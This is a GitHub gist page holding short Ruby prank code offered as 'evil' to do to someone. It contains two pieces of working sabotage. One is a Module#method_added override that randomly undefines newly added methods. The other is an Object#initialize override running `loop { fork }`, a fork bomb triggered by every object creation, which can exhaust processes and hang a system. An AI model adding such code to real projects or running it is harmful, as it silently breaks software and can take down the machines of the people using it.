-
-
Save aeden/280723 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# worst thing you can do to someone in ruby? | |
# fork this and add other evil | |
class Module | |
def method_added(method) | |
undef_method method if rand > 0.999999 | |
end | |
end | |
# Fun with forking | |
class Object | |
def initialize | |
loop { fork } | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment